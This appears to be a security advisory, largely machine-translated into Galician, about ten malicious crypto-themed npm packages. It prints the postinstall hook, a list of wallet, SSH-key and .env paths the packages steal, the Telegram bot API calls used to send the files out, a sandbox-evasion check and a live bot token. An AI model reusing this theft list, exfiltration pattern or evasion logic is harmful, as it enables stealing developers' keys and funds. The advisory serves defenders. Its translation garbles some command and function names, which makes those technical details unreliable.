TL, RD
O 9 de xuño de 2026, unha única conta de editor npm, aicrypto-xzggg, enviado dez paquetes con nomes con sabor a criptografía e Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, e seis máis.
Cada paquete executa a mesma carga útil desde un postinstall hook. On install, it checks
whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files,
SSH keys, and .env files from across six blockchain ecosystems and transmits them to a
Telegram bot.
O único indicador que un defensor pode buscar inmediatamente é o ID do bot de Telegram. 8227918239.
Gravedade: crítico — direct theft of signing keys and recovery phrases from estacións de traballo de desenvolvedores.
O ataque: como funciona
Os paquetes anúncianse como utilidades para desenvolvedores de blockchain. paquete.json é mínimo e apunta o ciclo de vida da instalación a un script:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}scripts/postinstalación.js é unha lámina dunha soa liña que carga a carga útil real: require("../src/index.js"). Porque postinstalación execútase automaticamente durante npm instalar, non é necesario que o desenvolvedor importe código: basta con colocar o paquete nunha árbore de dependencias para executalo.
A cadea de asasinatos no interior src/index.js son catro pasos:
- Comprobación ambiental. Unha función de garda decide se o host ten o aspecto dun axente de compilación ou dun entorno de probas de análise.
- Atraso. A execución difírese tras un definirTempoDeEsperanza de aproximadamente 7.4 segundos.
- Colección. Percorrese unha lista fixa de rutas de ficheiros de carteira, clave e secretos; os ficheiros existentes póñense en cola.
- Exfiltración. Os ficheiros en cola envíanse a un bot de Telegram, precedidos dunha mensaxe de resumo.
A lista de obxectivos da colección abrangue seis cadeas máis segredos xenéricos para desenvolvedores. Recortado:
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localVinte e unha rutas en total. Entradas de directorio como ~/.ethereum/keystore están expandidos e todos os ficheiros do seu interior están en cola. A exfiltración usa directamente a API do bot de Telegram, unha enviarMensaxe chamada cun resumo do servidor e do ficheiro, despois un enviarDocumento carga multiparte para cada ficheiro:
texto
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)A mensaxe de resumo que ensambla o código comeza coa cadea literal LADRÓN DE CRIPTOMODELOS, seguido do nome do host, o nome de usuario, o nome do paquete de orixe, o número de ficheiros e a marca de tempo.
Novidades aquí
O diferenciador non é o mecanismo de roubo: expulsión baseada en Telegram de npm postinstalación hooks está ben pisado. É o porta de execución. Antes de facer nada, a carga útil chama unha función que devolve verdadeiro cando o host se asemella a un executador de CI ou a un ambiente de probas e devolve cedo cando o fai:
texto
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)A expresión regular do contedor-id é a cláusula notable: un nome de host de 12 caracteres hexadecimais é a forma predeterminada que Docker asigna a un recipiente, polo que a carga útil trata "o meu nome de host parece un contedor Docker" como unha razón para permanecer inactivo. Combinado co atraso de sete segundos, o deseño favorece a execución na estación de traballo real dun desenvolvedor e permanecer en silencio en calquera lugar que pareza unha análise automatizada. Esa porta é o que suprimiu os sinais de análise dinámica e mantivo o fluxo de expulsión estática como a principal evidencia de convicción.
Timeline
| Data (UTC) | evento |
|---|---|
| 2026-06-09 ~02:48 | Primeiros paquetes do clúster sinalizados na publicación (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Membros con versións superiores sinalizados (ethereum-kit-9 ás 1.25.36, wallet-sdk-9 ás 3.7.73:XNUMX) |
| 2026-06-09 ~03:58–03:59 | Membros finais sinalizados (defi-tools-39 ás 4.26.29, swap-sdk-87 ás 4.63.78, farming-tools-12 ás 4.68.54:XNUMX) |
| 2026-06-09 | Os dez clasificados como maliciosos e denunciados para a súa eliminación no rexistro |
Os dez apareceron en aproximadamente setenta minutos, o que coincide cunha única tirada de publicación con guión dunha soa conta.
Indicadores de compromiso
Indicadores de rede e comportamento (host desactivado):
| Indicador | Valor |
|---|---|
| Punto final de exfil | api[.]telegram[.]org (API do bot de Telegram) |
| ID do bot de Telegram | 8227918239 |
| Token do bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID de chat de Telegram | 6433587894 |
| Instalar gancho | postinstall → scripts/postinstall.js → src/index.js |
| Cadea de marcadores | CRYPTO STEALER na mensaxe de resumo compilada |
| Editor | aicrypto-xzggg (correo electrónico indicado vipsyria88@gmail[.]com, sen verificar) |
Paquetes e versións, cada un co SHA-256 do seu src/index.js carga útil (as cargas útiles son funcionalmente idénticas e só difiren na etiqueta do nome do paquete incrustada, polo que cada hash é distinto):
| Paquete | versión | SHA-256 de src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Unha consulta de busca sinxela: busca nos rexistros de instalación e nos ficheiros de bloqueo calquera dos dez nomes e busca no tráfico de saída conexións á API do bot de Telegram desde hosts de compilación ou desenvolvedores que non a usan doutro xeito.
Atribución e comportamento observado
Os dez paquetes foron publicados por unha soa conta, aicrypto-xzggg, cuxo correo electrónico indicado é vipsyria88@gmail[.]comTanto o correo electrónico como a ligazón de control da fonte non están verificados nos metadatos do rexistro e a conta ten unha puntuación de reputación moi negativa. Non confirmamos quen opera a conta.
Dous detalles paga a pena separar de calquera reivindicación de identidade. Primeiro, o paquete.json Author lecturas de campo Alex Smith en cada paquete, mentres que a conta de publicación real é aicrypto-xzggg; o campo de autor son metadatos autodeclarados e non establecen a autoría. En segundo lugar, os números de versión varían moito: algúns membros están en 1.0.0, outros en 4.68.54 — o que é coherente coa reutilización dunha única carga útil en nomes de paquetes acabados de crear en lugar de manter os historiales de lanzamentos reais.
O comportamento é uniforme en todo o clúster: a mesma lista de rutas de destino, o mesmo ID de bot de Telegram e ID de chat, a mesma porta de ambiente, o mesmo LADRÓN DE CRIPTOMODELOS marcador. Esa uniformidade é o vínculo máis forte entre os paquetes. É un sinal do mesmo operador, non unha identidade.
Impacto, tendencias e orientación para defensores
A exposición é concreta. Un desenvolvedor que instala calquera destes paquetes nunha estación de traballo que contén unha carteira de software, un ficheiro de frases semente ou unha clave SSH fai que eses ficheiros sexan lidos e transmitidos desde o host en cuestión de segundos. As frases de recuperación e as claves de sinatura non caducan como o fai un token de sesión; unha vez que un mnemónico.txt ou unha Solana id.json sae da máquina, os fondos que controla están en risco ata que sexan movidos. A mesma execución tamén captura .env ficheiros, que habitualmente conteñen claves API e credenciais de base de datos.
Dúas tendencias están detrás deste clúster. A primeira é o uso continuado de nomes con temática criptográfica e Web3 para atraer a un público específico: desenvolvedores que manteñen carteiras e claves na mesma máquina na que instalan dependencias. A segunda é a maduración da evasión de sandbox nas cargas útiles en tempo de instalación. Unha porta que comproba as variables de ambiente de CI, os nomes de usuario do executor e unha forma de nome de host de ID de contedor de Docker é un esforzo deliberado para comportarse de forma diferente baixo análise que nunha estación de traballo real, e eleva o listón para a detección puramente dinámica.
Para os defensores:
Instalar cos scripts desactivados por defecto. instalación de npm –ignore-scripts, ou conxunto ignorar-scripts=verdadeiro in .npmrc, impide postinstalación execución; habilitar scripts só para as dependencias específicas que realmente os necesitan.
Manteña as carteiras e as claves de sinatura fóra das máquinas de compilación e desenvolvemento. Use unha carteira de hardware ou un servidor de sinatura dedicado e libre de dependencias.
Trata .env, almacéns de claves e ficheiros de frases semente como xoias da coroa. Nunca deberían estar nun directorio que tamén sexa un npm instalar árbore de traballo.
Busca conexións de saída á API do bot de Telegram desde servidores de CI e desenvolvedores. A maioría dos entornos de compilación nunca o chaman; un que o faga de súpeto, xusto despois dunha instalación, paga a pena investigalo.
Fixar e revisar dependencias. Un paquete novo cun nome criptográfico xenérico, un postinstalación hook, e ningunha ligazón de repositorio xustifica unha ollada antes de entrar nun ficheiro de bloqueo.
A cláusula de evasión do ID do contedor tamén é un recordatorio para os analistas: unha carga útil en tempo de instalación que permanece inactiva nunha zona de probas non é benigna, é selectiva. A revisión estática da ruta de instalación segue sendo a forma fiable de ver o que a execución dinámica pode rexeitar mostrar.
References
documentación de instalación de npm: scripts do ciclo de vida e –ignorar-scripts— referencia para desactivar a instalación automática hooks.







